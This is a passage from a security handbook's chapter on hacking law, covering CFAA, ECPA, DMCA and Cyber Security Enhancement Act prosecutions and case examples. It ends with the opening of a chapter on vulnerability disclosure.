dealers. These organizations store customer data in their systems when processing applications for financing. The cracker used the information that he acquired, including
credit card numbers, Social Security numbers, and other sensitive information, to
engage in identity fraud against several individuals.
Worms and Viruses and the CFAA
The spread of computer viruses and worms seems to be a common component integrated into many individuals’ and corporations’ daily activities. It is all too common to
see CNN lead its news coverage with a virus outbreak alert. A big reason for the increase
is that the Internet continues to grow at an unbelievable pace, which provides attackers
with many new victims every day. The malware is constantly becoming more sophisticated, and a record number of home users run insecure systems, which is just a welcome
mat to one and all hackers. Individuals who develop and release this type of malware
can be prosecuted under section 1030, along with various state statutes. The CFAA
criminalizes the activity of knowingly causing the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causing damage
without authorization to a protected computer.
A recent attack in Louisiana shows how worms can cause damage to users, but not
only in the more typical e-mail attachment delivery that we’ve been so accustomed to.
This case, United States v. Jeansonne, involved users who subscribe to WebTV services,
which allow Internet capabilities to be executed over normal television connections.
The hacker sent an e-mail to these subscribers that contained a malicious worm.
When users opened the e-mail, the worm reset their Internet dial-in number to “9-1-1,”
which is the dial sequence that dispatches emergency personnel to the location of the
call. Several areas from New York to Los Angeles experienced these false 9-1-1 calls. The
trick that the hacker used was an executable worm. When it was launched, the users
thought a simple display change was being made to their monitor, such as a color setting. In reality, the dial-in configuration setting was being altered. The next time the
users attempted to connect to their web service, the 9-1-1 call was sent out instead. The
worm also affected users who did not attempt to connect to the Internet that day. As part
of WebTV service, automated dialing is performed each night at midnight in order to
download software updates and to retrieve user data for that day. So, at midnight that
night, multiple users’ systems infected by the worm dialed 9-1-1, causing a logjam of
false alarms to public safety organizations. The maximum penalty for the case, filed as
violating Title 18 USC 1030(a)(5)(A)(i), is ten years in prison and a fine of $250,000.
Chapter 2: Ethical Hacking and the Legal System
27
Virus outbreaks have definitely caught the attention of the American press and the government. Because viruses can spread so quickly, and their impact can grow exponentially, serious countermeasures have begun to surface. The Blaster worm is a well-known
worm that has impacted the computing industry. In Minnesota, an individual was
brought to justice under the CFAA for issuing a B variant of the worm that infected 7,000
users. Those users’ computers were unknowingly transformed into drones that then
attempted to attack a Microsoft website.
These kinds of attacks have gained the attention of high-ranking government and law
enforcement officials. Addressing the seriousness of the crimes, then Attorney General
John Ashcroft stated, “The Blaster computer worm and its variants wreaked havoc on the
Internet, and cost businesses and computer users substantial time and money. Cyber
hacking is not joy riding. Hacking disrupts lives and victimizes innocent people across
the nation. The Department of Justice takes these crimes very seriously, and we will
devote every resource possible to tracking down those who seek to attack our technological infrastructure.” So there you go, do bad deeds and get the legal sledgehammer to the
head. Sadly, many of these attackers are not located and prosecuted because of the difficulty of investigating digital crimes.
The Minnesota Blaster case was a success story in the eyes of the FBI, Secret Service,
and law enforcement agencies, as collectively they brought a hacker to justice before
major damage occurred. “This case is a good example of how effectively and quickly law
enforcement and prosecutors can work together and cooperate on a national level,”
commented U.S. District Attorney Tom Heffelfinger.
The FBI added its comments on the issue as well. Jana Monroe, FBI assistant director,
cyber division, stated, “Malicious code like Blaster can cause millions of dollars’ worth of
damage and can even jeopardize human life if certain computer systems are infected. That is
why we are spending a lot of time and effort investigating these cases.” In response to this
and other types of computer crime, the FBI has identified investigating cybercrime as one of
its top three priorities, behind counterterrorism and counterintelligence investigations.
Other prosecutions under the CFAA include a case brought against a defendant
(who pleaded guilty) for gaining unauthorized access to the computer systems of hightechnology companies (including Qualcomm and eBay), altering and defacing web
pages, and installing “Trojan horse” programs that captured usernames and passwords
of authorized users (United States v. Heckenkamp); a case in which the defendant was
charged with illegally accessing a company’s computer system to get at credit information on approximately 60 persons (United States v. Williams); and a case (where the
defendant pleaded guilty) of cracking into the New York Times’ computer system, after
which he accessed a database of personal information relating to more than 3,000 contributors to the newspaper’s Op-Ed page.
So many of these computer crimes happen today, they don’t even make the news anymore. The lack of attention given to these types of crimes keeps them off of the radar of
many people, including senior management of almost all corporations. If more people
knew the amount of digital criminal behavior that is happening these days (prosecuted
or not), security budgets and awareness would certainly rise.
PART I
Blaster Worm Attacks and the CFAA
Gray Hat Hacking: The Ethical Hacker’s Handbook
28
It is not clear that these crimes can ever be completely prevented as long as software
and systems provide opportunities for such exploits. But wouldn’t the better approach
be to ensure that software does not contain so many flaws that can be exploited and that
continually cause these types of issues? That is why we wrote this book. We are illustrating the weaknesses in many types of software and showing how the weaknesses can be
exploited with the goal of the industry working together not just to plug holes in software, but to build it right in the first place. Networks should not have a hard shell and a
chewy inside—the protection level should properly extend across the enterprise and
involve not just the perimeter devices.
Disgruntled Employees
Have you ever noticed that companies will immediately escort terminated employees
out of the building without giving them the opportunity to gather their things or say
good-bye to coworkers? On the technology side, terminated employees are stripped of
their access privileges, computers are locked down, and often, configuration changes are
made to the systems those employees typically accessed. It seems like a coldhearted reaction, especially in cases where an employee has worked for a company for many years
and has done nothing wrong. Employees are often laid off as a matter of circumstances,
and not due to any negative behavior on their part. But still these individuals are told to
leave and are sometimes treated like criminals instead of former valued employees.
However, companies have good, logical reasons to be careful in dealing with terminated and former employees. The saying “one bad apple can ruin a bushel” comes to
mind. Companies enforce strict termination procedures for a host of reasons, many of
which have nothing to do with computer security. There are physical security issues,
employee safety issues, and in some cases, forensic issues to contend with. In our modern computer age, one important factor to consider is the possibility that an employee
will become so vengeful when terminated that he will circumvent the network and use
his intimate knowledge of the company’s resources to do harm. It has happened to
many unsuspecting companies, and yours could be next if you don’t protect it. It is vital
that companies create, test, and maintain proper employee termination procedures that
address these situations specifically.
Several cases under the CFAA have involved former or current employees. Take, for
example, the case of an employee of Muvico (which operates movie theaters) who got
laid off from his position (as director of information technology) in February 2006. In
May of that same year, Muvico’s online ticket-ordering system crashed costing the company an estimated $100,000. A few months later, after an investigation, the government
seized, from the former employee, a wireless access device that was used to disable the
electronic payment system that handled the online ticket purchases for all of the Muvico
theaters. Authorities believe that the former employee literally hid in the bushes outside
the company’s headquarters building while implementing the attack. He was indicted
on charges under the CFAA for this crime.
In another example, a 2002 case was brought in Pennsylvania involving a former
employee who took out his frustration on his previous employer. According to the Justice
Department press release, the cracker was forced out of his job with retailer American
Chapter 2: Ethical Hacking and the Legal System
29
References
U.S. Department of Justice www.usdoj.gov/criminal/cybercrime/1030_new.html
Computer Fraud and Abuse Act www.cio.energy.gov/documents/ComputerFraudAbuseAct.pdf
White Collar Prof Blog http://lawprofessors.typepad.com/whitecollarcrime_blog/computer_
crime/index.html
PART I
Eagle Outfitters and had become angry and depressed. The cracker’s first actions were to
post usernames and passwords on Yahoo hacker boards. He then gave specific instructions on how to exploit the company’s network and connected systems. Problems could
have been avoided if the company had simply changed usernames, passwords, and configuration parameters, but they didn’t. During the FBI investigation, it was observed that
the former employee infiltrated American Eagle’s core processing system that handled
online customer orders. He successfully brought down the network, which prevented customers from placing orders online. This denial-of-service attack was particularly damaging because it occurred from late November into early December—the height of the
Christmas shopping season for the clothing retailer. The company did notice the intrusion after some time and made the necessary adjustments to prevent the attacker from
doing further damage; however, significant harm had already been done.
One problem with this kind of case is that it is very difficult to prove how much actual
financial damage was done. There was no way for American Eagle to prove how many
customers were turned away when trying to access the website, and there was no way to
prove that they were going to buy goods if they had been successful at accessing the site.
This can make it difficult for companies injured by these acts to collect compensatory
damages in a civil action brought under the CFAA. The Act does, however, also provide
for criminal fines and imprisonment designed to dissuade individuals from engaging in
hacking attacks. In this case, the cracker was sentenced to 18 months in jail and ordered
to pay roughly $65,000 in restitution.
In some intrusion cases, real damages can be calculated. In 2003, a former Hellman
Logistics employee illegally accessed company resources and deleted key programs. This
act caused major malfunctions on core systems, the cost of which could be quantified. The
hacker was accused of damaging assets in excess of $80,000 and eventually pleaded guilty
to “intentionally accessing, without authorization, a protected computer and thereby
recklessly causing damage.” The Department of Justice press release said that the hacker
was sentenced to 12 months of imprisonment and was ordered to pay $80,713.79 for the
Title 18, section 1030(a)(5)(A)(ii) violation.
These are just a few of the many attacks performed each year by disgruntled employees
against their former employers. Because of the cost and uncertainty of recovering damages
in a civil suit or as restitution in a criminal case under the CFAA or other applicable law,
well-advised businesses put in place detailed policies and procedures for handling
employee terminations, as well as the related implementation of limitations on the access
by former employees to company computers, networks, and related equipment.
Gray Hat Hacking: The Ethical Hacker’s Handbook
30
State Law Alternatives
The amount of damage resulting from a violation of the CFAA can be relevant for either
a criminal or civil action. As noted earlier, the CFAA provides for both criminal and civil
liability for a violation. A criminal violation is brought by a government official and is
punishable by either a fine or imprisonment or both. By contrast, a civil action can be
brought by a governmental entity or a private citizen and usually seeks the recovery of
payment of damages incurred and an injunction, which is a court order to prevent further
actions prohibited under the statute. The amount of damage is relevant for some but not
all of the activities that are prohibited by the statute. The victim must prove that damages
have indeed occurred, defined as disruption of the availability or integrity of data, a program, a system, or information. For most of the violations under CFAA, the losses must
equal at least $5,000 during any one-year period.
This sounds great and may allow you to sleep better at night, but not all of the harm
caused by a CFAA violation is easily quantifiable, or if quantifiable, might not exceed the
$5,000 threshold. For example, when computers are used in distributed denial-of-service
attacks or when the processing power is being used to brute force and uncover an
encryption key, the issue of damages becomes cloudy. These losses do not always fit into
a nice, neat formula to evaluate whether they totaled $5,000. The victim of an attack can
suffer various qualitative harms that are much harder to quantify. If you find yourself in
this type of situation, the CFAA might not provide adequate relief. In that context, this
federal statute may not be a useful tool for you and your legal team.
An alternative path might be found in other federal laws, but there are still gaps in the
coverage of federal law of computer crimes. To fill these gaps, many relevant state laws
outlawing fraud, trespass, and the like, that were developed before the dawn of cyberlaw,
are being adapted, sometimes stretched, and applied to new crimes and old crimes taking place in a new arena—the Internet. Consideration of state law remedies can provide
protection from activities that are not covered by federal law.
Often victims will turn to state laws that may offer more flexibility when prosecuting
an attacker. State laws that are relevant in the computer crime arena include both new
state laws that are being passed by some state legislatures in an attempt to protect their
residents, and traditional state laws dealing with trespassing, theft, larceny, money laundering, and other crimes.
For example, if an unauthorized party is accessing, scanning, probing, and gathering
data from your network or website, this may fall under a state trespassing law. Trespass
law covers both the familiar notion of trespass on real estate, and also trespass to personal property (sometimes referred to as “trespass to chattels”). This legal theory was
used by eBay in response to its continually being searched by a company that implemented automated tools for keeping up-to-date information on many different auction
sites. Up to 80,000–100,000 searches and probes were conducted on the eBay site by
this company, without the authorization of eBay. The probing used eBay’s system resources and precious bandwidth, but this use was difficult to quantify. Plus, eBay could
not prove that they lost any customers, sales, or revenue because of this activity, so the
CFAA was not going to come to their rescue and help put an end to this activity. So eBay’s
Chapter 2: Ethical Hacking and the Legal System
31
TIP If you think you may prosecute for some type of computer crime that
happened to your company, start documenting the time people have to spend
on the issue and other costs incurred in dealing with the attack. This lost paid
employee time and other costs may be relevant in the measure of damages or,
in the case of the CFAA or those states that require a showing of damages as part of a
trespass case, to the success of the case.
A case in Ohio illustrates how victims can quantify damages by keeping an accurate
count of the hours needed to investigate and recover from a computer-based attack. In
2003, an IT administrator was allowed to access certain files in a partnering company’s
database. However, according to the case report, he accessed files that were beyond those
for which he was authorized and downloaded personal data located in the databases,
such as customer credit card numbers, usernames, and passwords. The attack resulted in
more than 300 passwords being obtained illegally, including one that was considered a
master key. This critical piece allowed the attacker to download customer files. The
charge against the Ohio cracker was called “exceeding authorized access to a protected
computer and obtaining information.” The victim was a Cincinnati-based company,
Acxiom, which reported that they suffered nearly $6 million in damages and listed the
following specific expenses associated with the attack: employee time, travel expenses,
security audits, and encryption software.
What makes this case interesting is that the data stolen was never used in criminal activities, but the mere act of illegally accessing the information and downloading it resulted in
PART I
legal team sought relief under a state trespassing law to stop the practice, which the court
upheld, and an injunction was put into place.
Resort to state laws is not, however, always straightforward. First, there are 50 different states and nearly that many different “flavors” of state law. Thus, for example, trespass law varies from one state to the next. This can result in a single activity being treated
in two very different ways under different state laws. For instance, some states require a
showing of damages as part of the claim of trespass (not unlike the CFAA requirement),
while other states do not require a showing of damage in order to establish that an
actionable trespass has occurred.
Importantly, a company will usually want to bring a case in the courts of a state that
has the most favorable definition of a crime for them to most easily make their case.
Companies will not, however, have total discretion as to where they bring the case. There
must generally be some connection, or nexus, to a state in order for the courts in that
state to have jurisdiction to hear a case. Thus, for example, a cracker in New Jersey attacking computer networks in New York will not be prosecuted under the laws of California,
since the activity had no connection to that state. Parties seeking to resort to state law as
an alternative to the CFAA or any other federal statute need to consider the available state
statutes in evaluating whether such an alternative legal path is available. Even with these
limitations, companies sometimes have to rely upon this patchwork quilt of different
non-computer–related state laws to provide a level of protection similar to the intended
blanket of protection of federal law.
Gray Hat Hacking: The Ethical Hacker’s Handbook
32
a violation of law and stiff consequences. The penalty for this offense under CFAA consists
of a maximum prison term of five years and a fine of $250,000.
As with all of the laws summarized in this chapter, information security professionals
must be careful to confirm with each relevant party the specific scope and authorization
for work to be performed. If these confirmations are not in place, it could lead to misunderstandings and, in the extreme case, prosecution under the Computer Fraud and
Abuse Act or other applicable law. In the case of Sawyer v. Department of Air Force, the
court rejected an employee’s claim that alterations to computer contracts were made to
demonstrate the lack of security safeguards and found the employee liable, since the
statute only required proof of use of a computer system for any unauthorized purpose.
While a company is unlikely to seek to prosecute authorized activity, people who exceed
the scope of such authorization, whether intentionally or accidentally, run the risk of
prosecution under the CFAA and other laws.
References
State Laws www.cybercrimes.net/State/state_index.html
Cornell Law University www4.law.cornell.edu/uscode/18/1030.html
Computer Fraud Working Group www.ussc.gov/publicat/cmptfrd.pdf
Computer World www.computerworld.com/securitytopics/security/cybercrime/story/
0,10801,79854,00.html
18 USC Sections 2510, et. Seq. and 2701
These sections are part of the Electronic Communication Privacy Act (ECPA), which is
intended to protect communications from unauthorized access. The ECPA therefore has a
different focus than the CFAA, which is directed at protecting computers and network systems. Most people do not realize that the ECPA is made up of two main parts: one that
amended the Wiretap Act, and the other than amended the Stored Communications Act,
each of which has its own definitions, provisions, and cases interpreting the law.
The Wiretap Act has been around since 1918, but the ECPA extended its reach to electronic communication when society moved that way. The Wiretap Act protects communications, including wire, oral, and data during transmission, from unauthorized access
and disclosure (subject to exceptions). The Stored Communications Act protects some
of the same type of communications before and/or after it is transmitted and stored
electronically somewhere. Again, this sounds simple and sensible, but the split reflects
recognition that there are different risks and remedies associated with stored versus
active communications.
The Wiretap Act generally provides that there cannot be any intentional interception
of wire, oral, or electronic communication in an illegal manner. Among the continuing
controversies under the Wiretap Act is the meaning of the word “interception.” Does it
apply only when the data is being transmitted as electricity or light over some type of
transmission medium? Does the interception have to occur at the time of the transmission? Does it apply to this transmission and to where it is temporarily stored on different
Chapter 2: Ethical Hacking and the Legal System
33
Interesting Application of ECPA
Many people understand that as they go from site to site on the Internet, their browsing
and buying habits are being collected and stored as small text files on their hard drives.
These files are called cookies. Suppose you go to a website that uses cookies, looking for a
new pink sweater for your dog because she has put on 20 pounds and outgrown her old
one, and your shopping activities are stored in a cookie on your hard drive. When you
come back to that same website, magically all of the merchant’s pink dog attire is shown
to you because the web server obtained that earlier cookie from your system, which indicated your prior activity on the site, from which the business derives what it hopes are
your preferences. Different websites share this browsing and buying-habit information
with each other. So as you go from site to site you may be overwhelmed with displays of
large, pink sweaters for dogs. It is all about targeting the customer based on preferences,
and through the targeting, promoting purchases. It’s a great example of capitalists using
new technologies to further traditional business goals.
As it happens, some people did not like this “Big Brother” approach and tried to sue a
company that engaged in this type of data collection. They claimed that the cookies that
PART I
hops between the sender and destination? Does it include access to the information
received from an active interception, even if the person did not participate in the initial
interception? The question of whether an interception has occurred is central to the
issue of whether the Wiretap Act applies.
An example will help to illustrate the issue. Let’s say I e-mail you a message that must go
over the Internet. Assume that since Al Gore invented the Internet, he has also figured out
how to intercept and read messages sent over the Internet. Does the Wiretap Act state that Al
cannot grab my message to you as it is going over a wire? What about the different e-mail
servers my message goes through (being temporarily stored on it as it is being forwarded)?
Does the law say that Al cannot intercept and obtain my message as it is on a mail server?
Those questions and issues came down to the interpretation of the word “intercept.”
Through a series of court cases, it has been generally established that “intercept” only
applies to moments when data is traveling, not when it is stored somewhere permanently or temporarily. This leaves a gap in the protection of communications that is
filled by the Stored Communication Act, which protects this stored data. The ECPA,
which amended both earlier laws, therefore is the “one-stop shop” for the protection of
data in both states—transmission and storage.
While the ECPA seeks to limit unauthorized access to communications, it recognizes
that some types of unauthorized access are necessary. For example, if the government wants
to listen in on phone calls, Internet communication, e-mail, network traffic, or you whispering into a tin can, it can do so if it complies with safeguards established under the
ECPA that are intended to protect the privacy of persons who use those systems.
Many of the cases under the ECPA have arisen in the context of parties accessing
websites and communications in violation of posted terms and conditions or otherwise
without authorization. It is very important for information security professionals and
businesses to be clear about the scope of authorized access that is intended to be provided to various parties to avoid these issues.
Gray Hat Hacking: The Ethical Hacker’s Handbook
34
were obtained by the company violated the Stored Communications Act, because it was
information stored on their hard drives. They also claimed that this violated the Wiretap
Law because the company intercepted the users’ communication to other websites as
browsing was taking place. But the ECPA states that if one of the parties of the communication authorizes these types of interceptions, then these laws have not been broken.
Since the other website vendors were allowing this specific company to gather buying
and browsing statistics, they were the party that authorized this interception of data. The
use of cookies to target consumer preferences still continues today.
Trigger Effects of Internet Crime
The explosion of the Internet has yielded far too many benefits to list in this writing.
Millions and millions of people now have access to information that years before
seemed unavailable. Commercial organizations, healthcare organizations, nonprofit
organizations, government agencies, and even military organizations publicly disclose
vast amounts of information via websites. In most cases, this continually increasing
access to information is considered an improvement. However, as the world progresses
in a positive direction, the bad guys are right there keeping up with and exploiting technologies, waiting for their opportunities to pounce on unsuspecting victims. Greater
access to information and more open computer networks and systems have provided us,
as well as the bad guys with greater resources.
It is widely recognized that the Internet represents a fundamental change in how information is made available to the public by commercial and governmental entities, and that a
balance must continually be struck between the benefits of such greater access and the
downsides. In the government context, information policy is driven by the threat to
national security, which is perceived as greater than the commercial threat to businesses.
After the tragic events of September 11, 2001, many government agencies began reducing
their disclosure of information to the public, sometimes in areas that were not clearly associated with national security. A situation that occurred near a Maryland army base illustrates
this shift in disclosure practices. Residents near Aberdeen, Maryland, have worried for years
about the safety of their drinking water due to their suspicion that potential toxic chemicals
leak into their water supply from a nearby weapons training center. In the years before the
9/11 attack, the army base had provided online maps of the area that detailed high-risk
zones for contamination. However, when residents found out that rocket fuel had entered
their drinking water in 2002, they also noticed that the maps the army provided were much
different than before. Roads, buildings, and hazardous waste sites were deleted from the
maps, making the resource far less effective. The army responded to complaints by saying
the omission was part of a national security blackout policy to prevent terrorism.
This incident is just one example of a growing trend toward information concealment in the post-9/11 world, much of which affects the information made available on
the Internet. All branches of the government have tightened their security policies. In
years past, the Internet would not have been considered a tool that a terrorist could use
to carry out harmful acts, but in today’s world, the Internet is a major vehicle for anyone
(including terrorists) to gather information and recruit other terrorists.
Chapter 2: Ethical Hacking and the Legal System
35
• The Homeland Security Act of 2002 offers companies immunity from lawsuits
and public disclosure if they supply infrastructure information to the
Department of Homeland Security.
• The Environmental Protection Agency (EPA) stopped listing chemical accidents
on its website, making it very difficult for citizens to stay abreast of accidents
that may affect them.
• Information related to the task force for energy policies that was formed by Vice
President Dick Cheney was concealed.
• The FAA stopped disclosing information about action taken against airlines and
their employees.
Another manifestation of the current administration’s desire to limit access to information in its attempt to strengthen national security is reflected in its support in 2001
for the USA Patriot Act. That legislation, which was directed at deterring and punishing
terrorist acts and enhancing law enforcement investigation, also amended many existing laws in an effort to enhance national security. Among the many laws that it amended
PART I
Limiting information made available on the Internet is just one manifestation of the
tighter information security policies that are necessitated, at least in part, by the perception that the Internet makes information broadly available for use or misuse. The Bush
administration has taken measures to change the way the government exposes information, some of which have drawn harsh criticism. Roger Pilon, Vice President of Legal
Affairs at the Cato Institute, lashed out at one such measure: “Every administration overclassifies documents, but the Bush administration’s penchant for secrecy has challenged
due process in the legislative branch by keeping secret the names of the terror suspects
held at Guantanamo Bay.”
According to the Report to the President from the Information Security Oversight
Office Summary for Fiscal Year 2005 Program Activities, over 14 million documents
were classified and over 29 million documents were declassified in 2005. In a separate
report, they documented that the U.S. government spent more than $7.7 billion in security classification activities in fiscal year 2005, including $57 million in costs related to
over 25,000 documents that had been released being withdrawn from the public for
reclassification purposes.
The White House classified 44.5 million documents in 2001–2003. That figure
equals the total number of classifications that President Clinton’s administration made
during his entire second four-year term. In addition, more people are now allowed to
classify information than ever before. Bush granted classification powers to the Secretary
of Agriculture, Secretary of Health and Human Services, and the administrator of the
Environmental Protection Agency. Previously, only national security agencies had been
given this type of privilege.
The terrorist threat has been used “as an excuse to close the doors of the government”
states OMB Watch Government Secrecy Coordinator Rick Blum. Skeptics argue that the
government’s increased secrecy policies don’t always relate to security, even though that
is how they are presented. Some examples include the following:
Gray Hat Hacking: The Ethical Hacker’s Handbook
36
are the CFAA (discussed earlier), under which the restrictions that were imposed on
electronic surveillance were eased. Additional amendments also made it easier to prosecute cybercrimes. The Patriot Act also facilitated surveillance through amendments to
the Wiretap Act (discussed earlier) and other laws. While opinions may differ as to the
scope of the provisions of the Patriot Act, there is no doubt that computers and the
Internet are valuable tools to businesses, individuals, and the bad guys.
References
U.S. Department of Justice www.usdoj.gov/criminal/cybercrime/usc2701.htm
Information Security Oversight Office www.fas.org/sgp/isoo/
Electronic Communications Privacy Act of 1986 www.cpsr.org/cpsr/privacy/wiretap/
ecpa86.html
Digital Millennium Copyright Act (DMCA)
The DMCA is not often considered in a discussion of hacking and the question of information security, but it is relevant to the area. The DMCA was passed in 1998 to implement the World Intellectual Property Organization Copyright Treaty (WIPO Treaty).
The WIPO Treaty requires treaty parties to “provide adequate legal protection and effective legal remedies against the circumvention of effective technological measures that
are used by authors,” and to restrict acts in respect to their works which are not authorized. Thus, while the CFAA protects computer systems and the ECPA protects communications, the DMCA protects certain (copyrighted) content itself from being accessed
without authorization. The DMCA establishes both civil and criminal liability for the
use, manufacture, and trafficking of devices that circumvent technological measures
controlling access to, or protection of the rights associated with, copyrighted works.
The DMCA’s anti-circumvention provisions make it criminal to willfully, and for
commercial advantage or private financial gain, circumvent technological measures that
control access to protected copyrighted works. In hearings, the crime that the anticircumvention provision is designed to prevent was described as “the electronic equivalent of breaking into a locked room in order to obtain a copy of a book.”
“Circumvention” is defined as to “descramble a scrambled work…decrypt an encrypted
work, or otherwise…avoid, bypass, remove, deactivate, or impair a technological measure,
without the authority of the copyright owner.” The legislative history provides that “if unauthorized access to a copyrighted work is effectively prevented through use of a password, it
would be a violation of this section to defeat or bypass the password.” A “technological
measure” that “effectively controls access” to a copyrighted work includes measures that, “in
the ordinary course of its operation, requires the application of information, or a process or
a treatment, with the authority of the copyright owner, to gain access to the work.” Therefore, measures that can be deemed to “effectively control access to a work” would be those
based on encryption, scrambling, authentication, or some other measure that requires the
use of a key provided by a copyright owner to gain access to a work.
Said more directly, the Digital Millennium Copyright Act (DMCA) states that no one
should attempt to tamper with and break an access control mechanism that is put into
Chapter 2: Ethical Hacking and the Legal System
37
• Specify exactly what is right and wrong, which does not allow for interpretation
but covers a smaller subset of activities.
• Write laws at a higher abstraction level, which covers many more possible
activities that could take place in the future, but is then wide open for different
judges, juries, and lawyers to interpret.
Most laws and contracts present a combination of more- and less-vague provisions
depending on what the drafters are trying to achieve. Sometimes the vagueness is inadvertent (possibly reflecting an incomplete or inaccurate understanding of the subject),
while at other times it is intended to broaden the scope of that law’s application.
Let’s get back to the law at hand. If the DMCA indicates that no service can be offered
that is primarily designed to circumvent a technology that protects a copyrighted work,
where does this start and stop? What are the boundaries of the prohibited activity?
The fear of many in the information security industry is that this provision could be
interpreted and used to prosecute individuals carrying out commonly applied security
practices. For example, a penetration test is a service performed by information security
professionals where an individual or team attempts to break or slip by access control
mechanisms. Security classes are offered to teach people how these attacks take place so
they can understand what countermeasure is appropriate and why. Sometimes people are
PART I
place to protect an item that is protected under the copyright law. If you have created a
nifty little program that will control access to all of your written interpretations of the
grandness of the invention of pickled green olives, and someone tries to break this program to gain access to your copyright-protected insights and wisdom, the DMCA could
come to your rescue.
When down the road you try to use the same access control mechanism to guard
something that does not fall under the protection of the copyright law—let’s say your
uncopyrighted 15 variations of a peanut butter and pickle sandwich—you would find a
different result. If someone were willing to extend the necessary resources to break your
access control safeguard, the DMCA would be of no help to you for prosecution purposes because it only protects works that fall under the copyright act.
This sounds logical and could be a great step toward protecting humankind, recipes,
and introspective wisdom and interpretations, but there are complex issues to deal with
under this seemingly simple law. The DMCA also provides that no one can create,
import, offer to others, or traffic in any technology, service, or device that is designed for
the purpose of circumventing some type of access control that is protecting a copyrighted item. What’s the problem? Let us answer that by asking a broader question: Why
are laws so vague?
Laws and government policies are often vague so they can cover a wider range of
items. If your mother tells you to “be good,” this is vague and open to interpretation. But
she is your judge and jury, so she will be able to interpret good from bad, which covers
any and all bad things you could possibly think about and carry out. There are two
approaches to laws and writing legal contracts:
Gray Hat Hacking: The Ethical Hacker’s Handbook
38
hired to break these mechanisms before they are deployed into a production environment
or go to market, to uncover flaws and missed vulnerabilities. That sounds great: hack my
stuff before I sell it. But how will people learn how to hack, crack, and uncover vulnerabilities and flaws if the DMCA indicates that classes, seminars, and the like cannot be conducted to teach the security professionals these skills? The DMCA provides an explicit
exemption allowing “encryption research” for identifying flaws and vulnerabilities of
encryption technologies. It also provides for an exception for engaging in an act of security
testing (if the act does not infringe on copyrighted works or violate applicable law such as
the CFAA), but does not contain a broader exemption covering the variety of other activities that might be engaged in by information security professionals. Yep, as you pull one
string, three more show up. Again, it is important for information security professionals
to have a fair degree of familiarity with these laws to avoid missteps.
An interesting aspect of the DMCA is that there does not need to be an infringement
of the work that is protected by the copyright law for prosecution under the DMCA to
take place. So if someone attempts to reverse-engineer some type of control and does
nothing with the actual content, that person can still be prosecuted under this law. The
DMCA, like the CFAA and the Access Device Statute, is directed at curbing unauthorized
access itself, but not directed at the protection of the underlying work, which is the role
performed by the copyright law. If an individual circumvents the access control on an
e-book and then shares this material with others in an unauthorized way, she has broken
the copyright law and DMCA. Two for the price of one.
Only a few criminal prosecutions have been filed under the DMCA. Among these are:
• A case in which the defendant was convicted of producing and distributing
modified DirecTV access cards (United States v. Whitehead).
• A case in which the defendant was charged for creating a software program that was
directed at removing limitations put in place by the publisher of an e-book on the
buyer’s ability to copy, distribute, or print the book (United States v. Sklyarov).
• A case in which the defendant pleaded guilty to conspiring to import, market,
and sell circumvention devices known as modification (mod) chips. The mod
chips were designed to circumvent copyright protections that were built into
game consoles, by allowing pirated games to be played on the consoles (United
States v. Rocci).
There is an increasing movement in the public, academia, and from free speech
advocates to soften the DCMA due to the criminal charges being weighted against legitimate researchers testing cryptographic strengths (see www.eff.org/IP/DMCA/Felten_v_
RIAA). While there is growing pressure on Congress to limit the DCMA, Congress is taking action to broaden the controversial law with the Intellectual Property Protection Act
of 2006. As of January 2007, the IP Protection Act of 2006 has been approved by the Senate Judiciary Committee, but has not yet been considered by the full Senate.
Chapter 2: Ethical Hacking and the Legal System
39
Digital Millennium Copyright Act Study www.copyright.gov/reports/studies/dmca/dmca_
study.html
Copyright Law www.copyright.gov/title17 and http://news.com.com/2100-1023945923.html?tag=politech
Trigger Effects of the Internet www.cybercrime.gov
Anti DCMA Organization www.anti-dmca.org
Intellectual Property Protection Act of 2006 www.publicknowledge.org/issues/hr2391
Cyber Security Enhancement Act of 2002
Several years ago, Congress determined that there was still too much leeway for certain
types of computer crimes, and some activities that were not labeled “illegal” needed to
be. In July 2002, the House of Representatives voted to put stricter laws in place, and to
dub this new collection of laws the Cyber Security Enhancement Act (CSEA) of 2002.
The CSEA made a number of changes to federal law involving computer crimes.
The act stipulates that attackers who carry out certain computer crimes may now get a
life sentence in jail. If an attacker carries out a crime that could result in another’s bodily
harm or possible death, the attacker could face life in prison. This does not necessarily
mean that someone has to throw a server at another person’s head, but since almost
everything today is run by some type of technology, personal harm or death could result
from what would otherwise be a run-of-the-mill hacking attack. For example, if an
attacker were to compromise embedded computer chips that monitor hospital patients,
cause fire trucks to report to wrong addresses, make all of the traffic lights change to
green, or reconfigure airline controller software, the consequences could be catastrophic
and under the Act result in the attacker spending the rest of her days in jail.
In August 2006, a 21-year-old hacker was sentenced to 37 months in prison, 3 years
probation, and assessed over $250,000 in damages for launching adware botnets on more
than 441,000 computers that targeted Northwest Hospital & Medical Center in Seattle.
This targeting of a hospital led to a conviction on one count of intentional computer damage that interferes with medical treatment. Two co-conspirators in the case were not
named because they were juveniles. It is believed that the attacker was compensated
$30,000 in commissions for his successful infection of computers with the adware.
The CSEA was also developed to supplement the Patriot Act, which increased the U.S.
government’s capabilities and power to monitor communications. One way in which
this is done is that the Act allows service providers to report suspicious behavior and not
risk customer litigation. Before this act was put into place, service providers were in a
sticky situation when it came to reporting possible criminal behavior or when trying to
work with law enforcement. If a law enforcement agent requested information on one
of their customers and the provider gave it to them without the customer’s knowledge or
permission, the service provider could, in certain circumstances, be sued by the customer for unauthorized release of private information. Now service providers can report
suspicious activities and work with law enforcement without having to tell the customer. This and other provisions of the Patriot Act have certainly gotten many civil rights
PART I
References
Gray Hat Hacking: The Ethical Hacker’s Handbook
40
monitors up in arms. It is another example of the difficulty in walking the fine line
between enabling law enforcement officials to gather data on the bad guys and still
allowing the good guys to maintain their right to privacy.
The reports that are given by the service providers are also exempt from the Freedom
of Information Act. This means that a customer cannot use the Freedom of Information
Act to find out who gave up their information and what information was given. This is
another issue that has upset civil rights activists.
CHAPTER
Proper and Ethical
Disclosure
•
•
•
•
Different points of view pertaining to vulnerability disclosure
The evolution and pitfalls of vulnerability discovery and reporting procedures
CERT’s approach to work with ethical hackers and vendors
Full Disclosure Policy (RainForest Puppy Policy) and how it differs between
CERT and OIS’s approaches
• Function of the Organization for Internet Safety (OIS)
For years customers have demanded operating systems and applications that provide more
and more functionality. Vendors have scrambled to continually meet this demand while attempting to increase profits and market share. The combination of the race to market and
keeping a competitive advantage has resulted in software going to the market containing
many flaws. The flaws in different software packages range from mere nuisances to critical
and dangerous vulnerabilities that directly affect the customer’s protection level.
Microsoft products are notorious for having issues in their construction that can be
